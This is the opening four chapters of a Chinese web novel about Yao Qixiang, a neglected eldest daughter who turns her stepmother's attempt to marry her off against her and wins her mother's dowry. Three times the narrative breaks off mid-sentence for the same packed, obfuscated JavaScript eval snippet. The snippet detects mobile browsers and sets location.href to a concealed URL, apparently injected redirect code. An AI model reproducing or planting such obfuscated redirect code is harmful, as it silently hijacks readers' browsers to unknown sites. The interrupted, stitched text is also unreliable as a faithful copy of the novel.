《我夫君很行》 1. 第1章 一天夜里,姚家主母邓穗音做了一个梦,梦里大雨滂沱,她那恶毒的继女变成了一只狰狞厉鬼,扒着她的脖子大口吸血。 邓穗音惊醒,汗湿透了衣衫,缓缓看了眼酣睡在身侧的丈夫,一双精明的眼充满了算计。 让她走!那丫头绝对不能再留在府上,否则她没有一个安生觉可睡! - 正值春末,天气渐渐暖和着,素有书香门第之称的姚家院子里正开着一簇簇的桃花,繁盛得一枝压着一枝,远远望去一片盛丽,只不知为何,有个角落里空了一块。 空着的院落里也并非无树,只是树都死气沉沉的,连花苞也不见一个,就像这院子里的主人一般。 姚戚香是快巳时起的,她慢慢从床上爬了起来,一双黑沉沉如玉的美目扫了一眼屋内的陈设,半哑着声音喊:“水呢?” 听见了这声唤,外面才迟迟送了水过来,进来的丫鬟有两个,都是不大的年纪,低着头并不看向她。 姚戚香招了招手,端着水盆的那个丫鬟便近身蹲在了她身前,姚戚香先伸了手进去,然后才慢慢浸湿了帕子,一点点清洗过了面庞,从始至终,这二人都不曾抬头看过她。 阖府上下都知道,这姚家大姑娘姚戚香,虽是个美人胚子,却有一副实实在在的恶毒心肠,具体是如何恶毒的,她们这些后来的下人也不知晓,不过总是时常见到姚戚香目无尊卑,常常顶撞姚家主母。 至于主君,大约是已经彻底对这个女儿失望了,已有半年多未曾来看她了。 唯有主母仁善,对待这样一个继女,居然也有耐心几度过来关怀。 就在这个时候,咣当一声水盆翻了,冰凉的水就这样劈头盖脸泼下来,半蹲着的丫鬟大叫了一声,下意识便朝姚戚香恶狠狠地瞪来。 姚戚香笑出了声,一双眼睛里充满了挑衅,可这样锐利的表情非但没有让她显得丑恶,反而有种凌厉的美,黑沉沉的眸子望下来,她闪烁的眸光宛如暗夜里跳动的焰火。 “怎么把什么心思都摆在脸上呢?”姚戚香恶劣地笑,“你的主人就是这样让你监视我的吗?” 丫鬟一顿,才知是自己方才的心思暴露了。 她浑身湿了大半,又不能真对眼前的姚戚香发脾气,此人再怎么受尽冷落,也是主子,真闹起来于她没有半分好处。 丫鬟忍了,紧抿着唇拾起盆退下。 另一个站着的不由自主提了口气,姚戚香阴晴不定,她后面还是小心伺候的好。 洗漱过后,便是更衣,姚戚香的衣服不多,主母邓氏每年象征性地送过来几匹,春夏倒还好说,尤其是入了冬,她这边不是短炭就是少了棉被棉服。 自然,姚戚香住得不舒服,她定也不会让邓氏如意。 一来二去,邓氏近年已经很少在这些用度上克扣她的了。 她的衣服还是几年前的旧款式,姚戚香很少出门,既没有什么朋友,也没有什么去处,对盛京之事都知之甚少。 不过她还是能时不时听见几句邓氏愿意叫她听见的,比如盛京人人传闻姚家长女是个不敬尊长、口出狂言的失心疯。 后来她又听说,姚家次女姚成碧,温柔娴静,堪称佳人。 姚戚香觉得邓氏这样的作为十分可笑,可她实在太无聊了,不管什么东西,听听总是好的。 她挑来选去,穿了那件胭脂色的百迭裙,原本还有一件淡绿色的,可是袖口破了个口子,姚戚香一时懒得补,先搁着了,这种拖延在她无人管束的日子里常有。 她今日有种预感,邓氏会来。 送来的早饭已经凉了,姚戚香自己热了热,又细心闻过才盛到自己碗里,还没吃上几口,果然就听见院子外面传来窸窸窣窣的脚步声,似乎来人还不少。 姚戚香听了听,约莫七八人,似乎都是女眷,又将头埋下去继续吃。 果然是邓穗音来了,只是这回,她身后的几个丫鬟怀里还各自抱着一副卷轴。 “戚香,我给你带大喜事来了。”邓穗音照常露出一个温和的笑脸,摆了摆手让丫鬟们站成了一排,随后丫鬟们将各自怀中的卷轴展开,一幅幅垂下,上面居然是不同男子的画像。 姚戚香慢慢放下了筷子,她知道邓穗音今日是来做什么的了。 她也笑笑,然后起身:“母亲。” 此女今日一反常态,不再远远不冷不热地瞧着她,反而对她露出了笑脸,邓穗音本能地心里一怵。 她这个恶毒的继女,可怕得很! 话不能扔在地上不接,邓穗音接着笑:“戚香猜猜我带了什么喜事来?” 姚戚香缓缓抬起右手,款款扶额:“猜不出,早上的饭太凉了,用得我浑身不舒服。” 邓穗音笑意僵了僵,眼风扫向姚戚香身后那两个丫鬟,两个人齐齐抿紧了嘴,摇了摇头。 “你们两个怎么回事?饭凉了也不知道给姑娘热热?” “主母明察!”一个丫鬟扑通一声跪了下来,“实在是大姑娘起得太晚了,奴婢们怕多热几次饭菜味道就不好了,这才没有擅作主张。” 如此漏洞百出的一句话,偏偏邓穗音就转怒为笑了:“原来是这样,戚香,你妹妹卯时便起来读书练字了,你也不能总是这样赖床,是也不是?” “正是呢,母亲。”姚戚香笑,“那我等着二妹早日金榜题名,光宗耀祖!” 邓穗音像是一拳打在了棉花上,她心里一沉,总算是知道这丫头今日怎么一反常态,对她笑脸相迎了,人家态度这么好,她这个温善亲和的主母,又怎么能先拉了脸呢? 邓穗音不废话了,直奔主题:“来,你瞧瞧这些画像,可有中意的?你已到了议亲的年纪,你父亲和我,都有意给你说一门好亲事呢。” 姚戚香撇嘴:“母亲有所不知,早上的洗脸水太凉了,冰得我眼睛疼,看不清。” 邓穗音:“……” 她第一次有些想罚了这两个伺候的丫鬟,要不是她们,姚戚香哪里来这么多推辞的理由! “你们都是怎么伺候的大姑娘!”邓穗音沉了脸,她若再不管不顾,还怎么配得上贤德二字? 姚戚香身后两个丫鬟齐齐跪下:“夫人饶命,我们……我们再也不敢了。” “是呀,母亲。”姚戚香眨了下眼,“她们犯错,也不是这一次两次了,恐怕就是罚了也不长记性,算了吧。” 邓穗音咬了咬牙,道:“你们还愣着干什么!把这两个犯上的奴婢给我拉下去打板子!” “别呀,横竖都是小事,就各自打十板子,歇在我院里便是了,她们虽蠢笨,但却是女儿用惯了的人,母亲若是贸然换了,女儿怕是睡也睡不好,吃也吃不下的。”姚戚香道。 邓穗音再度看向姚戚香,半晌,她应下了:“好,就依你。” 她今日纵着姚戚香越多,后面姚戚香就越不该驳议亲之事,她一定要尽快将这个丫头送走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429566|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “母亲快进屋坐吧,今儿的太阳晃眼睛,什么也看不清。”姚戚香微微欠身,率先进了屋。 外面阳光正盛,那屋里却黑黢黢的,一丝光也没有,邓穗音就看着姚戚香的身影没入了门中,莫名地,邓穗音又开始发怵。 曾几何时,她竟然开始害怕这个一无所有的继女! 邓穗音暗暗握紧了手,不过无妨,她马上就能将这个祸害送出去,再也不必见她了! 转到了房中,姚戚香与邓穗音坐了下来,后者忙让丫鬟们再次将画像都铺展在姚戚香面前,道:“你细看看,喜欢哪个?” 瞧邓氏这架势,竟是要逼婚了? 姚戚香佯装看了第一个一眼,然后道:“说了半天,女儿都有些口干了,只可惜我这儿没什么能待客的茶叶,白水罢了,只怕还是冷的,母亲不介意吧?” 邓穗音快笑不出来了,后悔今日她不该带这么多下人过来,本想着趁人多拿捏姚戚香才是,没想到被拿捏的是她自己! 从院子到屋里,几句话说下来,通通都是她这个把持中馈的主母不上心,竟将好好的大姑娘苛待成这般,况且她还是后母,更加落人口实…… 邓穗音只能寒了脸,不是对姚戚香,只能是对这屋里的下人:“这些该死的奴婢!没成想母亲这些日子不来看你,她们都是这样做事的!母亲定好好教训她们!” 这是一句空话,姚戚香不想要这么一句空话,她得住得好些。 “好呀,我就知道母亲心里有我,我的衣裳破了没人补,冬天的袄子也不够暖和,现在虽是春末了,可倒春寒却厉害,母亲瞧我这屋子冷飕飕的,夜里骨头都发冷……” …… 桩桩件件,姚戚香一样都没落下,她也好久没在院子里见到这么多人了。 邓氏既然起了心思,横竖她难躲过了,不如将自己的物资准备充裕些,好为以后做打算。 大事小事,加起来也有十几件了,邓穗音心虚,没敢看那些丫头的表情,只暗暗看了自己心腹一眼,忙叫她快去添置置办。 “我这些日子忙着成碧的课业,疏忽你了……”邓穗音道。 姚戚香摇摇头:“左不过是些物件,想来母亲也不吝于在这些东西上作假,这种小家子气的作风,哪里能是母亲会做的。” 邓穗音只能跟着笑了笑,随后又不甘心地把话题扯到了议亲上。 “你看看这些人……” “这些人,我都看过了,面相老气,恐怕最年轻的也有三十多岁吧?”姚戚香将画像从头到尾扫了一眼。 “他们虽然……” “母亲再怎么爱屋及乌,也不能按照自己的审美标准来替我择婿呀。”姚戚香道。 她转过了脸来,一双乌黑的眼睛看着邓穗音,有那么一瞬间,邓穗音好像觉得是那梦中的恶鬼爬了出来,就坐在她面前。 邓穗音本能地想后靠,却被姚戚香一把抓住了手,她的手冷冰冰的,弄得邓穗音浑身不适。 “母亲爱慕父亲,纵使父亲并不年轻,还已有妻室,母亲还是一往情深大着肚子进了姚家的门,可这世上又不是人人都喜欢年纪大的,巴巴儿去给人做妾,母亲说呢?” 她笑了一日,此刻吐露的话终于恶毒起来。 邓穗音被她这句话说得浑身发抖,一半是气的,另一半……更像是怕。 为什么……为什么这么多年了,她还是没能弄死姚戚香呢? 2. 第2章 自从姚戚香的亲娘赵氏死后,不多日邓穗音便仗着诞下一个男婴成了姚家的主母,起初她对这个继女自然是厌恶,不过这些年来她的名声素来是贤良温婉的,自然不能真待她不好。 所能下的也都只能是些软刀子。 可邓穗音不明白,这些年,她栽赃过,嫁祸过,甚至激愤之下下过毒,可不管她用了什么手段,姚戚香最终都能化险为夷,什么事也没有。 再做就明显了,邓穗音只能在暗地里刻薄她,她弄不掉这个丫头,可每一次姚戚香看见她时,都会不冷不热地拿那双乌黑的眼睛直勾勾盯着她看,有时还会笑。 邓穗音觉得瘆,她有时甚至觉得,赵氏就附身在她身上,一直躲在暗处看着她…… 就如同此时此刻,邓穗音心中惶惶,愈发觉得姚戚香攥着她的那只手宛如死人一般。 “你……你……”邓穗音声音不觉颤抖起来,她盯着姚戚香,双眼中的狠只剩下了一半。 姚戚香自顾说着:“还是说,母亲高看了我?觉得我即便是去给人家做妾,也能如母亲一般叫人疼惜成了正室?若真是这样,母亲未免也太信我了些。” 她笑:“我纵有那个脸面,也没那个本事呀。” 邓穗音气得发抖,她这是在说反话!她什么本事没有?姚戚香这是在变着法骂她没脸没皮呢! “好,好。”邓穗音点了点头,“既然你不愿意,母亲也不愿勉强你,那便先这样吧,我去与你父亲仔细说说!” 她猛然起了身,想姚戚香多少也半年多没见亲爹了,她生养在这个家里,吃穿还得靠着她爹呢,她总不能连这也无所畏惧! 姚戚香动也未动,结结实实坐在椅子上,道:“母亲慢走,到时候别忘了好好跟父亲提提我做妾的事,若是真心喜欢,做妾怕什么呢?” 等最后一个字说完的时候,邓氏已经从她的房里走到院里了,姚戚香挺直了腰板,看着自己这一屋子新送来的东西,起身去看侧间打了板子伤着的那两个丫鬟。 她一言不发,在房子里转来转去,直转得那二人心中直打鼓,她才慢悠悠道:“我院子里的厨房简陋,什么也没有,你们是知道的。” 二人露出疑惑的神色,怎么好端端说起厨房简陋不简陋来了? “可就算是再简陋,一点盐还是有的。”姚戚香笑盈盈,“你们若是之后好好做事,我就让你们舒舒服服的,如若不然,我就给你们伤口上抹点盐巴来,你们说呢?” 一句话轻飘飘地下来,说话人眼中流光溢彩,丧失了行动能力趴着的两个人齐齐变了脸色。 “大姑娘!我们以后再也不懒怠了!” 姚戚香满意地点点头:“不错,若是你们食言,我有的是法子治你们。” 她拍了拍手,转身出去了,这两个丫鬟都不算顶机灵的那种,嘴也不大灵光,放在身边正正好,而且姚戚香已经摸清了她们的作息规律。 若是被邓氏借故再送两个新的进来,又是麻烦。 这边姚戚香刚处置完了两个丫鬟的事,殊不知邓氏离开她院中不久,姚家就来了人拜会,说要向姚家嫡长女提亲。 来人是近年的新起之秀宋家,原本是做绸布生意起家,纵然家大业大,也不过是商贾之流,没想到家中出了一个很有出息的庶子,科举写出的文章见地独到,很受陛下赏识,又亲自召了他入殿面圣,被陛下钦点为了翰林。 邓穗音得知此事时大为震惊,看着拜帖不可置信道:“宋家!?这宋世安大好的前途,为何想不开要娶一个名声败坏的姚戚香?” 她说这话时宋家递拜帖的人已经离开了,身边只站着一个心腹慈姑。 慈姑道:“这宋家在京城没有什么人际耳目,许是不知大姑娘的情状,不过这宋家与咱们,倒也算是门当户对了。” “那自然是门当户对。”邓穗音拧着眉,回忆道,“前些日子,我带着成碧去赴宋家所办的春花宴,可是亲眼瞧见了这宋世安,当真是儒雅俊秀,一表人才!这样的好人家,怎么能叫姚戚香便宜得了去?” 慈姑眨了下眼睛,有些明白了:“夫人的意思是?” “哼,那日我瞧见这宋世安年纪轻轻便前途无量,他们这样的门第,高攀不上那些高门大户,我早就想将他定给我的成碧了,只可惜成碧还未及笄,我便没有急着操办,哪成想这宋家倒是心急,也不打听打听,居然要将姚戚香要了去。”邓穗音说话间已有了谋算,“她姚戚香凭什么许这样的人?要嫁,也是我的成碧嫁。” 慈姑:“可宋家要的不是嫡长女吗?” 邓穗音冷笑:“她姚戚香一个没了亲娘的孤女还能算什么嫡女,我的成碧才是这姚家的嫡长女。” “那夫人,奴婢这就去让人回禀了宋家?” “不,还不行。”邓穗音道,“兹事体大,我得和老爷商议商议。” 姚家主君姚振廷在礼部任郎中一职,春日祭典将近,礼部忙得不可开交,连回家的日子都迟了。 不过也不单是为祭典,还有一件更加重要的事——科举。 今年的科考迟了,新春刚至,陛下便一病不起,满朝文武担惊受怕,都在拟定诏书了,没想到景成帝吉人天相,竟又慢慢抖擞了精神,缓了过来。 殿试的日子便先定在了九月。 景成帝病中这些日子,朝中一切琐事都交由掌管三司的孟氏长公子孟扶危总领,昏迷前夜,景成帝似有所感,连夜召了孟扶危入宫,附加他太子太傅一职,将尚且年幼的太子李清托付给了孟扶危。 从内宦到朝臣,得知这个消息时心中并无半分惊讶,孟扶危虽是外姓人,其母杨溪却是章平郡主的爱女,景成帝对章平郡主异常宠爱,其夫病逝之后,便将章平郡主接入宫中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429567|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直照看。 可惜杨溪命薄,生下一子后便撒手人寰,郡主哀恸不已,便常常召孟扶危入宫以解哀思,景成帝也对这个后辈偏爱异常。 除却私心,孟扶危在科举之中三元及第,一时名震京城,殿试成绩放榜之日,说亲的人几乎踏破了孟家的门槛,然而连孟家人的面都没能瞧见。同年,孟扶危赴任御史台,彻查贪官污吏案,查出洗钱、敛财、走私者共十六人,被上奏天听一并下狱。 一是从小放在身边看着长大的孩子,二来刚刚赴任便开罪了不少朝臣,受景成帝重用皆在情理之中。 景成帝修身养息的这段时日,朝政一度由孟扶危代为处置,之前反腐的余威犹在,文武百官颇有些战战兢兢。 不过近日,朝中大臣都听闻一则传言——孟氏长公子孟扶危要议亲了。 消息是从何处来的不得而知,但与孟家关系亲近的朝臣已着人打听过,消息确凿,而且还是由孟氏的现任主母常氏一手操办的。 “公子。” 一声轻唤,一身着鹤青长衣的年轻男子恭敬一拜,道:“属下已查到缘由,孟元德看中了沈尚书家的三姑娘,意欲求娶,常氏不愿逾越长子先成婚的先例,这才替您擢选。” 花窗上光影斑驳,晦暗不明地投映在书案上,白皙的竹纸面上落着苍劲遒丽的字迹,最后一笔的墨迹还未干涸。 孟扶危搁下手中的狼毫笔,轻慢地掠了天禄一眼,神色淡淡。他身量颀长,外面的光影照不到他面上去,只将一角青釉绣朱缨的衫袖照得发白,现出衣料上粼粼的光泽来。 天禄不明白公子这一眼的用意,议亲之事说大可大,说小可小,难不成公子也毫不关心?不过孟元德那个废物一般的玩意,居然还痴心妄想着要娶尚书之女,实在可笑。 常秋兰那个贼妇人爱子心切,什么事做不出来,也不知道会给公子擢选一个什么样的亲事,照天禄对她的了解,左右不会是什么好事。 心思周转了一番,天禄才听见一声偏冷的问询:“让你办的事如何?” 天禄恭声:“都办妥了,云韬在那边盯着呢,出不了什么差错。” “那就无妨。”孟扶危伸手,在一沓叠起的奏折上点了点,“你将这些送去太子处,叫他看过。” “是。” 离开书房,往门外去时,天禄经过了松烟堂,本不愿窃听,奈何耳力太过,听见里面传来一句:“姚家书香门第,教出的二女儿老奴曾见过的,最是温柔娴静不过,我也有意着人问过姚家邓氏,那丫头……” 一顺耳的一句,叫天禄挑了下眉,姚家的女儿?人性情如何他并不知晓,可姚家才是一个五品啊。 常秋兰这贼妇人,显然是故意的! 思绪转了转,后面的话因为压得低沉,天禄没有听清,只听见常氏最后对人道:“那就准备准备,提亲吧。” 3. 第3章 日头西沉,火红的云彩染透了天边,浓浓织下一层金光在,落在画堂的院落之中,这平素无人问津的小院,迎来了今日第二个不速之客。 “大姑娘,松庭那边传你过去。” 来者是个上了年纪的仆妇,姚戚香已有近三年没有见她了,恍惚了一瞬才想起她是祖母王氏当年的陪嫁丫鬟孙妈妈,而今已头发花白了。 她有多久没有见到孙妈妈,就有多久不曾见到祖母王氏,不过以前就算是见到了,也只是远远看过几眼,不曾说过什么话。 姚戚香脑海中对这位祖母的记忆,全是她幼年儿时的,那时她的母亲尚在,她也喜欢与这位祖母亲近,可后来呢?难道是她不想了吗? 邓氏掌了内宅后,她的行动多有限制,而这位祖母竟也一次都没有提出要她过去拜见,全当没有她这个孙女了一般。 之后每逢年节她必须要去拜见的时候,祖母也只是淡淡地尽了该尽的章程,一句也不曾多问。 幼年她与祖母相处时,祖母也是这般吗?姚戚香记不清了,那个时候,她并不需要格外留意这些。 姚戚香换了身衣服,跟着孙妈妈一起去了松庭,她没有问是为着什么要突然见她,今日邓氏刚来过,用手指头想也知道定是关于她的亲事。 不过等姚戚香到了松庭才知,原来不止是她,姚家的人几乎都在这儿了,就连邓氏那个脑子不太灵光的好大儿,也坐在这里,唯独少了姚成碧。 她一一行礼问过,在未知事情全貌之前,她的礼数向来周全。 “坐吧。”姚振廷声音淡淡的,“你母亲有事与你商议。” 姚戚香找了个位置坐下,只等着邓氏开口。 “戚香。”邓穗音露着笑脸,“有件事,你许是不知,白日里的时候,宋家的人来递了帖子,说是有意同咱们姚家的女儿提亲。” 宋家?是宋世安吧。 姚戚香看了看邓穗音的脸色,又看了看这屋中其余沉默无声的几人,还有什么不明白的?宋家的人过来提亲,想要求娶的人恐怕是她。 姚戚香垂下了眼,她与宋世安见过的唯一一面,便是在三年前的一场马球会上,那时宋世安只是刚过了科考,还未被陛下钦点为翰林。 别人都当那年是宋世安最最风光的一年,可只有姚戚香知道,那年他过得并不好。 他的母亲,他的亲娘,被他的嫡母趁着他科考离家之际害死了。 姚戚香偶遇他伤怀,便随意开解了他几句,没成想竟被宋世安记到现在,若按照他的身份,娶姚成碧绰绰有余,门第再高些的也不是不行,没想到他居然会惦记着当年她那几句话,来娶一个她这样名声败坏的女人。 可这应该不是姚家这些人将她叫来这里的目的,邓穗音一定还有说法。 “嗯。”姚戚香应了一声,“没想到母亲动作如此之快,白日里才说了要给我议亲,这就让人上门来了。” 邓穗音一噎,下意识看了姚振廷一眼,姚振廷只管目视前方,并未开口。 “这……倒也不是。”邓穗音笑笑,“这不就要说你的事呢,我瞧你今日似乎对议亲之事多有排斥,应是还想在家中留些日子,我便想着,宋家这亲事不错,可以考虑,你既是不愿,不如让你妹妹……” “母亲真是误会我了。”姚戚香起身行礼,“女儿自知已该当谈婚论嫁了,父母之命媒妁之言,女儿怎会不愿,分明上午已回了母亲意思,只要父亲母亲愿意,便是将女儿送去做妾,女儿也是愿意的。” “你在这口无遮拦地说些什么!”姚振廷开了口,脸色不虞,“尚是个未出阁的女儿,什么妾不妾的?” 姚戚香垂目,轻轻挽了下耳边的碎发:“父亲现在避讳什么?您不是最喜欢迎妾室进门了吗?” “混账!你说什么胡话!”姚振廷猛然拍向桌子,看了眼邓穗音。 邓穗音也沉下了脸,随后又轻轻勾了下嘴角,这姚戚香说来说去,也不就这点本事?事到如今还在说她当年以妾的身份入门一事,她都成为姚家主母这么多年了,姚戚香还抓着这点不放,甚至忤逆尊长,她越忤逆,宋家那桩婚事就越该交给成碧,横竖都是有益无害的。 邓穗音笑着拍了拍姚振廷的手:“老爷莫要动怒,戚香她一向因此事怨恨于我,常常口无遮拦,我总不该因此与一个小辈计较。” 姚振廷喉间一哽,道:“你现在已经是当家主母,怎能再被她下了脸面?我看这丫头实在管教无方,今日非要好好教训她一番不可!” 邓穗音神情微动,这是……要动家法了? 她心中暗喜,面上却劝道:“老爷这是说的哪里话,若是儿郎要教训也便教训了,戚香一个娇滴滴的女儿家,怎能如此?” “哼!”姚振廷大怒,“她哪里是女儿,分明是来姚家的讨债鬼!姚戚香我告诉你,宋家那门亲事你不必想了,今日就由我做主,让你妹妹成碧去与宋家结亲!而你这个脏心烂肺的东西就给我滚去乡下的庄子里,到时候你是出家也好,嫁人也好,与姚家再不相干了!” 姚戚香明白了,这些人将她叫到这里来,是要她把宋家这门亲事让出来,让给姚成碧。 本来是要强行与她商量的,要让她心甘情愿点了这个头,现在被她言语一激,就恼羞成怒了。 姚戚香抬眸,看了眼从始至终一言不发的祖母王氏,她依旧寡淡着脸色,苍白瘦削的手中盘着一段翡翠绿珠,仿佛与这屋中的一切毫不相干。 姚戚香本就知道,姚家决定的事,她反抗不了,尤其是定亲之事,没有姚振廷和邓穗音的首肯,她什么也做不了。 她再狠,也越不过这道坎去。 不过她今日既然来了,自然也不会空着手走。 姚戚香款款站起了身,自早晨邓氏踏入她的院中起,她就早已为邓氏布下了一场局。 “父亲为何动怒呢?”姚戚香露出惶恐之色,又看向邓穗音,“母亲真是误会了,女儿怎会因此事讽刺母亲!女儿是最最敬重母亲不过的,这家中女儿孤身一人,母亲是唯一一个还愿意时常来看女儿的,女儿在心中早就将母亲真心爱戴了。” 邓穗音心中冷笑一声,姚戚香刚刚说出了那一番话,现在再狡辩还有什么用,这无知的死丫头,今日可终于算是要栽在她手里一回了! 方才既然老爷都让她不必再受气,她自然要拿捏住这一点了。 “戚香,也话可不是你怎么说,便是怎么样的,方才这屋里所有人都听得清清楚楚,你以妾室二字羞辱于我,如今还想狡辩不成?” 姚戚香漆黑的眸光微闪,那里面藏匿着愉悦的笑意。 等她抬眼看向邓氏时,这一点本就不多的笑意已经消失殆尽了。 “母亲……您在说什么?”姚戚香面目茫然,“女儿何曾羞辱于您?” 她仿佛是受了天大的委屈,眼角流下一滴泪来。 “女儿日子过得凄苦,今日母亲来时分明见到,女儿吃不饱穿不暖,屋里连像样的炭火都没有,衣服都是破的,被褥都不知道盖了多少年头了,今日若不是母亲来,同情可怜我,施舍我一些物什过活,女儿怕是被冻死在那小院都无人知晓……母亲如此大恩,女儿若还要羞辱母亲,那女儿成什么人了?” 她声泪俱下,看得众人一愣。 姚振廷更是一怔,他率先看向邓穗音身边的婆子慈姑,见慈姑那隐忍不语的表情,就知道姚戚香刚刚说的那一番全是真话! 姚振廷登时有些火大,姚戚香虽是他早已放弃了的女儿,可当年他在一众同僚面前放话会好好养着她,就自不会在这些物件上面苛待了她!现在被家中这些下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429568|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人见到如此场面,他这个主君的脸面还要往哪里搁! “老爷!”邓穗音忙道,“我这些日子督促着成碧多读些诗书,实在是疏忽了,没想到画堂那两个该死的奴婢竟然敢如此懈怠!今日我已经狠狠罚过她们了!” 姚振廷张了张口,指着姚戚香道:“既然你母亲已经处置过,你又来巴巴喊什么冤!?” “女儿哪里有喊冤?”姚戚香抹了泪,满是感动地看着邓穗音,“女儿分明是不想让母亲误会,这才细细解释罢了!女儿心中敬爱母亲,又怎会对母亲出言不逊呢?” 姚振廷厉声:“你个孽障方才口口声声说你母亲出身,一字一句这里所有人都听得清清楚楚,难道还是冤了你不成?” “出身?什么?妾室吗?”姚戚香直起了身板,言之凿凿,“母亲身为主母,掌家已有多年,又为姚家诞下一个儿子,劳苦功高,女儿怎么可能还会提那些往事!?” 邓穗音冷哼一声正要开口说话,只不过,姚戚香并没有给她这个机会。 因为邓穗音完全被姚戚香吐露的下一句话彻彻底底地砸蒙了。 “女儿说的,明明是父亲养在外面的雪姨娘,女儿无意中听见父亲身边的人提起,说父亲对那雪姨娘疼爱异常,早就往她名下划了三五间铺子,应是很快便要迎新姨娘入府了吧?” 邓穗音僵住了,不光是邓穗音,满屋子的人不知情的,没有一个不惊讶的,唯有姚振廷,以及姚振廷身边跟着的两个小厮,皆是倒吸了一口凉气。 “你、你说什么?”邓穗音问这句话的时候,音都拐了。 “嗯?母亲不知吗?”姚戚香笑了,她露出今日当面讽刺邓氏时那一模一样的笑脸来,灼灼地望着邓穗音,“父亲,体贴母亲内宅寂寞,亲为母亲寻了个一起说话的知心人来。” 邓穗音那本来飞扬起来,止不住得意的心,此刻宛如坠下了悬崖,还被一块巨石死死压住,此时此刻,她才终于明白,为何今日姚戚香会突然提起她当年以妾室身份入门一事…… 原来她在这里等着她。 原来从今天早上那个时候,她就已经谋划到了现在这一步…… 可纵然邓氏终于清楚了,那又如何?此时此刻,她脑子里一团糟乱,恨不得立时哭天抹泪大闹一场,哪里还有心力与姚戚香计较那些个小事? 屋里一时陷入诡异的沉默,一时之间,姚家人心不齐,各怀心思。 而姚戚香在此最佳时机,才缓缓拜下,掷地有声:“承蒙父亲母亲慈爱,疼惜女儿,女儿愿意将婚事让出,让给成碧妹妹。” “不过……”她说,“父亲母亲在此事上让女儿让了步,女儿也须拿得一些补偿才是,不然就是您二位偏心,女儿也是不依的。” 她说出了话,落在了地上,可不论是姚振廷还是邓穗音,都没有出声去接,似乎各自都陷在自己身上的事故里。 一片沉默中,坐于高堂的那位祖母终于开了口:“说吧,你要什么?成全了你便是。” “多谢祖母,多谢父亲母亲。”姚戚香笑,“我要我娘的全数陪嫁,还要和成碧妹妹等数的嫁妆,如此,不算过分吧?” “……你娘……”祖母慢慢点了点头,“她已去了多时,当年去了,家中那边也无人来收敛她的东西,她的嫁妆给你也是应当的,至于嫁妆,你和成碧都是姚家的女儿,本来也应当嫁妆相当才是,你母亲素有贤名,也不会在这些事上亏待了你。” 后面这一句话,算是也将邓穗音一并架住了。 “多谢祖母。”姚戚香谢完,又认认真真对着邓氏一拜,“多谢母亲。” 她大功告成,是时候该功成身退,让姚家这两位出了名恩爱的主君主母自去处理一些私事了。 “那女儿告退了。”姚戚香转身,离开了松庭。 4. 第4章 书斋这会儿只怕是已经闹翻了天了。 姚戚香坐在妆镜前,一点点慢悠悠擦拭着脸,这么多年过去了,她是最清楚姚家这对主君主母的,邓穗音从那时起便总仗着自己受宠,后来她成了主母,也不忘记总对外说,她与夫君琴瑟和鸣,有多恩爱和谐,还借此传授别人御夫之道,来拉近与别家夫人之间的联系。 只要这个雪姨娘进了门,邓穗音这些年苦心经营的形象算是彻底崩盘,只怕还会成为天大的笑话。 至于姚振廷,他到现在膝下只有姚太初这么一个儿子,自然不能真和邓氏闹翻了脸,可姚太初脑子有些问题,不能说是痴傻,但反应总是很慢,可以说这辈子仕途无望了。 最是看重脸面的父亲,唯一的儿子竟然是个痴的,他怎么忍得了呢? 从那年除夕,姚戚香在团圆家宴上窥见一丝父亲对姚太初的不耐时,她就想到,或许他会想再生一个儿子。 她耐心等了两年,终于抓到了这个把柄。 梳洗完毕,姚戚香对外道:“都几点了,外面还没送饭过来?” 伺候姚戚香的,只有白日被打的两个丫鬟,一个叫晨露,一个叫月华,她们今日才得了教训,打人的又未下死手,这会儿唯恐懈怠,已经站在门口候着了。 “……回姑娘的话,还不曾有人来过,奴婢这就差人去问问。” “不必了。”姚戚香道,往常每日她的饭食大约是被邓氏仔细挑拣一番才送过来,今日邓氏哪里来的心力?底下的人没得着邓氏的话,今日邓氏怕是又发了大火,他们便不敢直接送到她这里来。 今日她身心舒畅,这些小事也无需计较,便对外面回话的月华道:“你去厨房给我做碗新鲜的清汤面来便是,然后你们两个便去歇着吧,等明天天亮了,我再找个郎中给你们瞧。” “多谢姑娘,多谢姑娘!” 外面的两人齐齐回了话。 吃过了晚饭,姚戚香早早便歇下了,今日她的枕头被褥全是新换的,柔软又暖和,一觉睡到了大天亮,忽然感觉有人在轻轻推她。 姚戚香睁开眼,是月华。 “姑娘,老太太那边送了东西来,说是让您亲自验收。” 姚戚香明白了,是她讨要的东西送来了。 她起身梳妆后出了房门,外面站着十几人,抬来的箱子硕大且沉,姚戚香一看便知,这些都是她早死的亲娘——叶蓉的嫁妆。 